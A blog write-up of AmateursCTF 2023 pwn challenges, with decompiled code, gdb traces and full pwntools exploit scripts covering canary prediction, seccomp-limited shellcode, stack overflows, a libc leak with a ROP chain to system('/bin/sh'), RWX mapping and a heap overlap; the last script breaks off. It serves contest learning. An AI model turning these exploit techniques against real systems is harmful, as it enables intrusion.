U+E000 私用領域

しがない緑茶好きのメモ的なの。

AmateursCTF 2023 Write-Up

TODO: Write a foreword and afterword

rntk

There are the familiar buffer overflow and win function.
However, the uniquely implemented canary prevents easy ret2win...

  // random_guess()
  printf("Enter in a number as your guess: ");
  canary = generated_canary;
  gets(guess);
  lVar2 = strtol(guess,(char **)0x0,10);
  local_10 = (int)lVar2;
  if (canary != global_canary) {
    puts("***** Stack Smashing Detected ***** : Canary Value Corrupt!");
    exit(1);
  }

Let's see how the canary is generated.

void generate_canary(void)

{
  time_t seed;
  
  seed = time((time_t *)0x0);
  srand((uint)seed);
  global_canary = rand();
  return;
}

The canary is generated by the rand function but the seed is generated from the current time.
Fortunately, the time function returns values in seconds, not milliseconds.
man command says

On success, the value of time in seconds since the Epoch is returned.

https://www.man7.org/linux/man-pages/man2/time.2.html

Therefore, we can guess canary, the return value of the rand function if we execute a function that performs the same process with an error of less than one second !

// hyper_guesser.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
  time_t seed;
  seed = time(NULL);
  srand(seed);
  printf("guess: %d\n", rand());
  getchar();
}
#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep
import subprocess

context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chal"
#libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("amt.rs", 31175)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b *0x4013a3
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)

q = process("./hyper_guesser")
q.recvuntil(b"guess: ")
canary = eval(q.recvline().rstrip())
q.sendline()
log.info("canary: " + hex(canary))
q.close()

payload = b'A' * 40
payload += p32(0xdeadbeef)
payload += p32(canary)
payload += p64(0xdeadbeefcafebabe)
payload += p64(elf.symbols["win"])

p.sendlineafter("3) Exit", '2')
p.sendlineafter(':', payload)

p.interactive()

Flag: amateursCTF{r4nd0m_n0t_s0_r4nd0m_after_all}

permissions

It's a shellcode challenge but the seccomp is enabled.

$ seccomp-tools dump ./chal
> foo
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0009
 0008: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

We can call only read, write and exit syscall.
So I focussed how to get the flag address.
Let's look at the state of the registers just before executing the shell code (main+463).

gef> b *main+463
Breakpoint 1 at 0x1556
gef> r
Starting program: /home/t3mp/ctf/AmateursCTF_2023/permissions/chal
warning: the debug information found in "/usr/lib/debug//usr/lib/libc.so.6.debug" does not match "/usr/lib/libc.so.6" (CRC mismatch).

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
> AABBCCDD

Breakpoint 1, 0x0000555555555556 in main ()
[ Legend: Modified register | Code | Heap | Stack | Writable | NONE | RWX | String ]
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- registers ----
$rax   : 0x00007ffff7fc3000  ->  'amateursCTF{exec_1mpl13s_r34d_8751fda0}\n'
$rbx   : 0x00007fffffffde48  ->  0x00007fffffffe181  ->  '/home/t3mp/ctf/AmateursCTF_2023/permissions/chal'
$rcx   : 0x0000000000000007
$rdx   : 0x00007ffff7c7f000  ->  'AABBCCDD\n'
$rsp   : 0x00007fffffffdd10  ->  0x0000000000000000
$rbp   : 0x00007fffffffdd30  ->  0x0000000000000001
$rsi   : 0x000055500000f72a
$rdi   : 0x00007ffff7fc3000  ->  'amateursCTF{exec_1mpl13s_r34d_8751fda0}\n'
$rip   : 0x0000555555555556 <main+0x1cf>  ->  0xe800000000bfd2ff
$r8    : 0x000055555555a170  ->  0x000055500000f72a
$r9    : 0x000055555555a170  ->  0x000055500000f72a
$r10   : 0x0000000000000001
$r11   : 0xe7a048f98a33e50c
$r12   : 0x0000000000000000
$r13   : 0x00007fffffffde58  ->  0x00007fffffffe1b2  ->  'SHELL=/bin/bash'
$r14   : 0x00007ffff7ffd000 <_rtld_global>  ->  0x00007ffff7ffe2c0  ->  0x0000555555554000  ->  0x00010102464c457f
$r15   : 0x0000555555557d58  ->  0x0000555555555260 <__do_global_dtors_aux>  ->  0x2ddd3d80fa1e0ff3

Awesome ! There are two registers that have the flag address !
We can just write the shellcode.

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep


context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chal"
#libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("amt.rs", 31174)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b *main+463
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


"""
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0009
 0008: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL
"""

shellcode = f'''
    // write(stdout, flag_addr, 0x30)
    mov rdi, 1
    mov rsi, rax
    mov rdx, 0x30
    mov rax, 1
    syscall
'''

p.recvuntil(">")
p.send(asm(shellcode))

p.interactive()

Flag: amateursCTF{exec_1mpl13s_r34d_8751fda0}

hex-converter

The source code is provided !
(I would like this to be standardized)

#include <stdio.h>
#include <stdlib.h>

int main()
{
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    int i = 0;

    char name[16];
    printf("input text to convert to hex: \n");
    gets(name);

    char flag[64];
    fgets(flag, 64, fopen("flag.txt", "r"));
    // TODO: PRINT FLAG for cool people ... but maybe later

    while (i < 16)
    {
        // the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe
        printf("%02X", (unsigned int)(name[i] & 0xFF));
        i++;
    }
    printf("\n");
}

name has buffer overflow vulnerability.
Let's see what we can overwrite.

gdb -q ./chal
Loading GEF...
GEF for linux ready, type `gef' to start, `gef config' to configure
216 commands loaded for GDB 13.1 using Python engine 3.11
Reading symbols from ./chal...

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.archlinux.org>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in ./chal)
gef> b *main+147
Breakpoint 1 at 0x401219
gef> r
Starting program: /home/t3mp/ctf/AmateursCTF_2023/hex-converter/chal
warning: the debug information found in "/usr/lib/debug//usr/lib/libc.so.6.debug" does not match "/usr/lib/libc.so.6" (CRC mismatch).

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
input text to convert to hex:
AABBCCDD

gef> telescope $rsp
0x7fffffffdcc0|+0x0000|000: 'amateursCTF{wait_this_wasnt_supposed_to_be_printed_76723}\n'  <-  $rsp
0x7fffffffdcc8|+0x0008|001: 'CTF{wait_this_wasnt_supposed_to_be_printed_76723}\n'
0x7fffffffdcd0|+0x0010|002: '_this_wasnt_supposed_to_be_printed_76723}\n'
0x7fffffffdcd8|+0x0018|003: 'snt_supposed_to_be_printed_76723}\n'
0x7fffffffdce0|+0x0020|004: 'osed_to_be_printed_76723}\n'
0x7fffffffdce8|+0x0028|005: 'be_printed_76723}\n'
0x7fffffffdcf0|+0x0030|006: 'ed_76723}\n'
0x7fffffffdcf8|+0x0038|007: 0x0000000000000a7d ('}\n'?)
0x7fffffffdd00|+0x0040|008: 'AABBCCDD'
0x7fffffffdd08|+0x0048|009: 0x00007ffff7fe6200  ->  0x0052a7e80000002f ('/'?)
0x7fffffffdd10|+0x0050|010: 0x0000000000000000
0x7fffffffdd18|+0x0058|011: 0x00000000f7ffdab0
0x7fffffffdd20|+0x0060|012: 0x0000000000000001  <-  $rbp
0x7fffffffdd28|+0x0068|013: 0x00007ffff7dc4850  ->  0xe800018939e8c789
0x7fffffffdd30|+0x0070|014: 0x00007fffffffde20  ->  0x00007fffffffde28  ->  0x0000000000000038 ('8'?)
0x7fffffffdd38|+0x0078|015: 0x0000000000401186 <main>  ->  0x60ec8348e5894855

And here is disassembly of the main function (partialy)

   0x000000000040120f <+137>:   mov    edi,0x40203a
   0x0000000000401214 <+142>:   mov    eax,0x0
   0x0000000000401219 <+147>:   call   0x401060 <printf@plt>
   0x000000000040121e <+152>:   add    DWORD PTR [rbp-0x4],0x1
   0x0000000000401222 <+156>:   cmp    DWORD PTR [rbp-0x4],0xf
   0x0000000000401226 <+160>:   jle    0x4011fd <main+119>
   0x0000000000401228 <+162>:   mov    edi,0xa
   0x000000000040122d <+167>:   call   0x401030 <putchar@plt>
   0x0000000000401232 <+172>:   mov    eax,0x0
   0x0000000000401237 <+177>:   leave
   0x0000000000401238 <+178>:   ret

<+156>: cmp DWORD PTR [rbp-0x4],0xf is interesting behavior because the loop is repeated 0xf times.

    // ---- snip ----
    while (i < 16)
    {
        // the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe
        printf("%02X", (unsigned int)(name[i] & 0xFF));
        i++;
    }
    printf("\n");
    // ---- snip ----

Yeah, we realize that ebp-0x4 represents int i and can be overwritten !
By rewriting i to a negative number, we can refer to a low-order address than the name array (e.g. name[-0x8]), and it looks like we can refer to the flag !

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep


context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chal"
#libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("amt.rs", 31630)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                #b *main+117
                b *main+147
                #b *main+152
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)

def hex_to_ascii(hex_string):
    hex_bytes = bytes.fromhex(hex_string)
    ascii_string = hex_bytes.decode('ascii')
    return ascii_string


payload = b"A" * 8 * 3
payload += p32(0)
payload += p32(0xffffffc0)# overwrite i to -64

p.recvuntil(":")
p.sendline(payload)

flag = hex_to_ascii(p.recvuntil(b"00").rstrip().decode())
log.info("Flag: " + flag)


p.interactive()

Flag: amateursCTF{wait_this_wasnt_supposed_to_be_printed_76723}

hex-converter-2

#include <stdio.h>
#include <stdlib.h>

int main()
{
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    int i = 0;

    char name[16];
    printf("input text to convert to hex: \n");
    gets(name);

    char flag[64];
    fgets(flag, 64, fopen("flag.txt", "r"));
    // TODO: PRINT FLAG for cool people ... but maybe later

    while (1)
    {
        // the & 0xFF... is to do some typecasting and make sure only two characters are printed ^_^ hehe
        printf("%02X", (unsigned int)(name[i] & 0xFF));

        // exit out of the loop
        if (i <= 0)
        {
            printf("\n");
            return 0;
        }
        i--;
    }
}

We can still overwrite i, but there are measures against negative numbers...
Don't worry, take a closer look, the increment has changed to a decrement.
By writing a larger value to i, we can refer to a high-order address (e.g. name[0x100]).

The provided Dockerfile specifies the use of Debian 11 bullseye and __libc_start_main+0x85 is exist on high-order address !

FROM pwn.red/jail

COPY --from=debian:bookworm-slim / /srv
COPY chal /srv/app/run
COPY flag.txt /srv/app/flag.txt

RUN chmod 755 /srv/app/run

ENV JAIL_MEM=10M JAIL_TIME=60
0x7fffffffdcc0|+0x0000|000: 'amateursCTF{an0ther_e4sier_0ne_t0_offset_unvariant_while_l00p}\n'  <-  $rax, $rsp
0x7fffffffdcc8|+0x0008|001: 'CTF{an0ther_e4sier_0ne_t0_offset_unvariant_while_l00p}\n'
0x7fffffffdcd0|+0x0010|002: 'her_e4sier_0ne_t0_offset_unvariant_while_l00p}\n'
0x7fffffffdcd8|+0x0018|003: 'er_0ne_t0_offset_unvariant_while_l00p}\n'
0x7fffffffdce0|+0x0020|004: '0_offset_unvariant_while_l00p}\n'
0x7fffffffdce8|+0x0028|005: '_unvariant_while_l00p}\n'
0x7fffffffdcf0|+0x0030|006: 'nt_while_l00p}\n'
0x7fffffffdcf8|+0x0038|007: 0x000a7d7030306c5f ('_l00p}\n'?)
0x7fffffffdd00|+0x0040|008: 'AABBCCDD' # name
0x7fffffffdd08|+0x0048|009: 0x00007ffff7fe6e00  ->  0x66ffffff5ae9ffff
0x7fffffffdd10|+0x0050|010: 0x0000000000000000
0x7fffffffdd18|+0x0058|011: 0x00000000f7ffdad0
0x7fffffffdd20|+0x0060|012: 0x0000000000000001  <-  $rbp
0x7fffffffdd28|+0x0068|013: 0x00007ffff7e0918a  ->  0xe8000173ffe8c789
0x7fffffffdd30|+0x0070|014: 0x00007fffffffde20  ->  0x00007fffffffde28  ->  0x0000000000000038 ('8'?)
0x7fffffffdd38|+0x0078|015: 0x0000000000401186 <main>  ->  0x60ec8348e5894855
0x7fffffffdd40|+0x0080|016: 0x00000001003fe040
0x7fffffffdd48|+0x0088|017: 0x00007fffffffde38  ->  0x00007fffffffe175  ->  '/home/t3mp/ctf/AmateursCTF_2023/hex-converter-2/chal'
0x7fffffffdd50|+0x0090|018: 0x00007fffffffde38  ->  0x00007fffffffe175  ->  '/home/t3mp/ctf/AmateursCTF_2023/hex-converter-2/chal'
0x7fffffffdd58|+0x0098|019: 0xe8f495499a201bc7
0x7fffffffdd60|+0x00a0|020: 0x0000000000000000
0x7fffffffdd68|+0x00a8|021: 0x00007fffffffde48  ->  0x00007fffffffe1aa  ->  'SHELL=/bin/bash'
0x7fffffffdd70|+0x00b0|022: 0x0000000000403e00  ->  0x0000000000401150 <__do_global_dtors_aux>  ->  0x2f0d3d80fa1e0ff3
0x7fffffffdd78|+0x00b8|023: 0x00007ffff7ffd020 <_rtld_global>  ->  0x00007ffff7ffe2e0  ->  0x0000000000000000
0x7fffffffdd80|+0x00c0|024: 0x170b6ab620421bc7
0x7fffffffdd88|+0x00c8|025: 0x170b7a88b8a61bc7
0x7fffffffdd90|+0x00d0|026: 0x0000000000000000
0x7fffffffdd98|+0x00d8|027: 0x0000000000000000
0x7fffffffdda0|+0x00e0|028: 0x0000000000000000
0x7fffffffdda8|+0x00e8|029: 0x00007fffffffde38  ->  0x00007fffffffe175  ->  '/home/t3mp/ctf/AmateursCTF_2023/hex-converter-2/chal'
0x7fffffffddb0|+0x00f0|030: 0x00007fffffffde38  ->  0x00007fffffffe175  ->  '/home/t3mp/ctf/AmateursCTF_2023/hex-converter-2/chal'
0x7fffffffddb8|+0x00f8|031: 0x53f98f83e9b22e00  <-  canary
0x7fffffffddc0|+0x0100|032: 0x000000000000000d ('\r'?)
0x7fffffffddc8|+0x0108|033: 0x00007ffff7e09245 <__libc_start_main+0x85>  ->  0x4d001aad243d8b4c

Therefore, we can use the libc.so.6 copied from the Docker container (Debian bookworm) and the libc leak to find the libc base.
Then, by returning to the main function again (ret2main), you can build a ROP chain using libc addresses !

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep


context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chal"
libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("amt.rs", 31631)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
        #b *main+117
        b *main+180
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)



# leak address && ret2main
rop_ret = 0x00401248

payload = b"A" * 8 * 3
payload += p64(0x000000cd00000000)
payload += p64(0xdeadbeefcafebabe)
payload += p64(rop_ret)# for movaps@printf
payload += p64(elf.symbols["main"])

p.recvuntil(":")
p.sendline(payload)

p.recvline()
leak = eval(b"0x" + p.recv(12))
log.info("leak: " + hex(leak))
libc_base = leak - libc.symbols["__libc_start_main"] - 0x85
libc.address = libc_base
log.info("libc base: " + hex(libc_base))

rop_pop_rdi = libc_base + 0x0017a00f

payload = b"B" * 8 * 3
payload += p64(0)
payload += p64(0xdeadbeefcafebabe)
payload += p64(rop_ret)
payload += p64(rop_pop_rdi)
payload += p64(next(libc.search(b"/bin/sh\0")))
payload += p64(libc.symbols["system"])

p.recvuntil(":")
p.sendline(payload)

p.interactive()

Flag: amateursCTF{an0ther_e4sier_0ne_t0_offset_unvariant_while_l00p}

I-love-ffi

A shared library written by Rust prevents free mmap.

pub struct MmapArgs {
    addr: u64,
    length: u64,
    protection: u32,
    flags: u32,
    fd: u32,
    offset: u64,
}

#[no_mangle]
pub extern "C" fn mmap_args() -> MmapArgs {
    let args = MmapArgs {
        addr: read::<u64>(),
        length: read::<u64>(),
        protection: read::<u32>(),
        flags: read::<u32>(),
        fd: read::<u32>(),
        offset: read::<u64>(),
    };

    if args.protection & 4 != 0 {
        panic!("PROT_EXEC not allowed");
    }

    args
}

Just mmap with writable and executable to bypass this.

def mmap(addr: int, length: int, fd: int, offset: int, prot: int):
    p.sendlineafter(b'>', str(addr))
    p.sendlineafter(b'>', str(length))
    p.sendlineafter(b'>', str(fd))
    p.sendlineafter(b'>', str(0xdeadbeef))
    p.sendlineafter(b'>', str(offset))
    p.sendlineafter(b'>', str(prot))

# r: 1, w: 2, x: 4
mmap(0, 0x1000, 0, 0, 6)

0x00007f1454ae9000 0x00007f1454aea000 0x0000000000001000 0x0000000000000000 -wx <- $rax

btw, I wonder why the order in which the arguments are read is so messed up.

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep


context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chal"
#libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("amt.rs", 31172)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
        b *mmap_args+83
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)

def mmap(addr: int, length: int, fd: int, offset: int, prot: int):
    p.sendlineafter(b'>', str(addr))
    p.sendlineafter(b'>', str(length))
    p.sendlineafter(b'>', str(fd))
    p.sendlineafter(b'>', str(0xdeadbeef))
    p.sendlineafter(b'>', str(offset))
    p.sendlineafter(b'>', str(prot))

# r: 1, w: 2, x: 4
mmap(0, 0x1000, 0, 0, 6)

sc = asm(shellcraft.sh())
p.send(sc)
p.sendlineafter(b'>', b'0')

p.interactive()

Flag: amateursCTF{1_l0v3_struct_p4dding}

ELFcrafting-v1

Need to create a tiny executable file.
Don't worry, Linux Kernel supports the shebang as executable file.
https://elixir.bootlin.com/linux/v5.15/source/fs/binfmt_script.c#L34

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep


context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chal"
#libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("amt.rs", 31178)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b main
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)


payload = b"#!/bin/cat ./flag.txt"
p.recvuntil(b'!')
p.sendline(payload)

p.interactive()

Flag: amateursCTF{i_th1nk_i_f0rg0t_about_sh3bangs_aaaaaargh}

perfect-sandbox

Random values are extracted to randomize the address where the Flag is placed.

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <err.h>
#include <time.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <linux/seccomp.h>
#include <seccomp.h>

void setup_seccomp () {
    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_KILL);
    int ret = 0;
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    ret |= seccomp_load(ctx);
    if (ret) {
        errx(1, "seccomp failed");
    }
}

int main () {
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    char * tmp = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);

    int urandom = open("/dev/urandom", O_RDONLY);
    if (urandom < 0) {
        errx(1, "open /dev/urandom failed");
    }
    read(urandom, tmp, 4);
    close(urandom);

    unsigned int offset = *(unsigned int *)tmp & ~0xFFF;
    uint64_t addr = 0x1337000ULL + (uint64_t)offset;

    char * flag = mmap((void *)addr, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (flag == MAP_FAILED) {
        errx(1, "mapping flag failed");
    }

    int fd = open("flag.txt", O_RDONLY);
    if (fd < 0) {
        errx(1, "open flag.txt failed");
    }
    read(fd, flag, 128);
    close(fd);

    char * code = mmap(NULL, 0x100000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (code == MAP_FAILED) {
        errx(1, "mmap failed");
    }

    char * stack = mmap((void *)0x13371337000, 0x4000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_GROWSDOWN, -1, 0);
    if (stack == MAP_FAILED) {
        errx(1, "failed to map stack");
    }

    printf("> ");
    read(0, code, 0x100000);

    setup_seccomp();

    asm volatile(
        ".intel_syntax noprefix\n"
        "mov rbx, 0x13371337\n"
        "mov rcx, rbx\n"
        "mov rdx, rbx\n"
        "mov rdi, rbx\n"
        "mov rsi, rbx\n"
        "mov rsp, 0x13371337000\n"
        "mov rbp, rbx\n"
        "mov r8,  rbx\n"
        "mov r9,  rbx\n"
        "mov r10, rbx\n"
        "mov r11, rbx\n"
        "mov r12, rbx\n"
        "mov r13, rbx\n"
        "mov r14, rbx\n"
        "mov r15, rbx\n"
        "jmp rax\n"
        ".att_syntax prefix\n"
        :
        : [code] "rax" (code)
        :
    );
}

The challenge brief mentions several papers.

This is a perfect sandbox with absolutely no way to leak the flag! nc amt.rs 31173 You should probably read https://arxiv.org/pdf/2304.07940.pdf or https://gruss.cc/files/prefetch.pdf.

Interesting stuff, however I did not feel motivated to read the papers.
After several observations, I found that the original value (from /dev/urandom) that randomizes the Flag address is placed at a specific offset position with respect to the mapped library (e.g. libseccomp.so.2.5.3).
Furthermore, the challenge is No PIE and can leak the library address by reading the value from the GOT section.

$ checksec ./chal
[*] '/home/t3mp/ctf/AmateursCTF_2023/perfect-sandbox/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

Thus, we can calculate the Flag address based on the random value we get.
All that is left is to formulate it in shell code.

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep


context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./chal"
#libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

offset = 0

if len(argv) >= 2 and argv[1] == "r":
    p = remote("amt.rs",  31173)
    # idk why offset is difference
    offset = 0x1000 * 2
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
                b *main+89
                b *main+643
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)

"""
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 0005: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0008
 0006: 0x15 0x01 0x00 0x00000001  if (A == write) goto 0008
 0007: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL
"""

bss = 0x404000+0x100

sc = f'''
    // write(stdout, seccomp_init@got, 8)
    mov rdi, 1
    mov rsi, {elf.got["seccomp_init"]}
    mov rdx, 8
    mov rax, 1
    syscall
    // get random_val_addr
    mov rcx, [{elf.got["seccomp_init"]}]
    sub rcx, 0x0d3d0
    add rcx, 0x59000
    add rcx, {offset}
    // write(stdout, random_val_addr, 4)
    mov rdi, 1
    mov rsi, rcx
    mov rdx, 4
    mov rax, 1
    syscall
    // read(stdin, bss, 0x100)
    xor rdi, rdi
    mov rsi, {bss}
    mov rdx, 0x8
    xor rax, rax
    syscall
    // write(stdout, flag_addr, 0x50)
    mov rdi, 1
    mov rsi, [{bss}]
    mov rdx, 0x30
    mov rax, 1
    syscall
    // exit
    xor rdi, rdi
    mov rax, 60
    syscall
'''

p.recvuntil(">")
p.send(asm(sc))

p.recvuntil("\x20")

# leak seccomp_init@got
leak = u64(p.recv(8))
seccomp_base = leak - 0x0d3d0
log.info("seccomp base: " + hex(seccomp_base))
# get address of random val
rand_val_addr = seccomp_base + 0x59000
log.info("radom value @ " + hex(rand_val_addr))
# calc flag address
rand_val = u32(p.recv(4))
log.info("rand_val: " + hex(rand_val))
offset = rand_val & ~0xFFF
flag_addr = 0x1337000 + offset
log.info("flag_addr: " + hex(flag_addr))
# send flag address (recv at 69 line)
p.send(p64(flag_addr))

p.interactive()

Flag: amateursCTF{3xc3pt10n_suppr3ss10n_ftw}

simple-heap-v1

The flow of heap is as follows
1. A = malloc(size)
2. Fill in the size minute input 3. B = malloc(size)
4. Fill in the size minute input 5. FLAG = malloc(0x80)
6. print(B)
7. free(FLAG) 8. change one character of B
9. FALG = malloc(0x80)
10. print(B)
11. free(FLAG)
12. free(B)
13. C = malloc(size)
14. Fill in the size minute input 15. FLAG = malloc(0x80)
16. print(C)
17. free(FLAG)
18. exit

Most noteworthy is the ability to write any 1 byte anywhere in the heap by means of an out-of-range reference when change at 8.
After Step 11, the heap will be as follows:

gef> heap chunks
Chunk(addr=0x5579b00ec000, size=0x290, flags=PREV_INUSE, fd=0x000000000000, bk=0x1000000000000)
Chunk(addr=0x5579b00ec290, size=0x1010, flags=PREV_INUSE, fd=0x0000000a0ab0, bk=0x000000000000, fd_nextsize=0x000000000000, bk_nextsize=0x000000000000)
# chunk A
Chunk(addr=0x5579b00ed2a0, size=0x20, flags=PREV_INUSE, fd=0x4141414141414141, bk=0x000000000000)
# chunk B
Chunk(addr=0x5579b00ed2c0, size=0x20, flags=PREV_INUSE, fd=0x4242424242424242, bk=0x4242424242424242)
# Flag
Chunk(addr=0x5579b00ed2e0, size=0x90, flags=PREV_INUSE, fd=0x0005579b00ed, bk=0xf649f1444f4c01c9)  <-  tcache[7]
Chunk(addr=0x5579b00ed370, size=0x1fc90, flags=PREV_INUSE, fd=0x000000000000, bk=0x000000000000, fd_nextsize=0x000000000000, bk_nextsize=0x000000000000)  <-  top
gef> heap bins
----------------------------------- Tcachebins for arena 'main_arena' -----------------------------------
Tcachebins[idx=7, size=0x90, @0x5579b00ec0c8] count=1
 -> Chunk(addr=0x5579b00ed2e0, size=0x90, flags=PREV_INUSE, fd=0x0005579b00ed, bk=0xf649f1444f4c01c9)
[+] Found 1 chunks in tcache.
------------------------------------ Fastbins for arena 'main_arena' ------------------------------------
[+] Found 0 chunks in fastbin.
---------------------------------- Unsorted Bin for arena 'main_arena' ----------------------------------
[+] Found 0 chunks in unsorted bin.
----------------------------------- Small Bins for arena 'main_arena' -----------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
----------------------------------- Large Bins for arena 'main_arena' -----------------------------------
[+] Found 0 chunks in 0 large non-empty bins.

Since the chunk for the Flag is linked to the tcache, it is expected that the same location will be allocated in the next malloc.
Therefore, even if we modify the size of chunk B and disguise the chunk for the Flag as part of chunk B, the Flag will be allocated within chunk B !
All that remains is to allocate a chunk of the same size as the faked size.

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pwn import *
from sys import argv
from time import sleep


context.terminal = ['tmux', 'sp', '-h']
context.log_level = "debug"

chall = "./simple-heap-v1"
#libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
context.binary.checksec()

if len(argv) >= 2 and argv[1] == "r":
    p = remote("amt.rs", 31176)
elif len(argv) >= 2 and argv[1] == "d":
        cmd = """
        b *main+275
                c
        """
        p = gdb.debug(chall,cmd)
else:
    p = process(chall)

p.sendlineafter(':', str(0x8))
p.sendafter(':', b'A' * 0x8)
p.sendlineafter(':', str(0x10))
p.sendafter(':', b'B' * 0x10)
index = -8
new_char = b'\xb0'
p.sendlineafter(':', str(index))
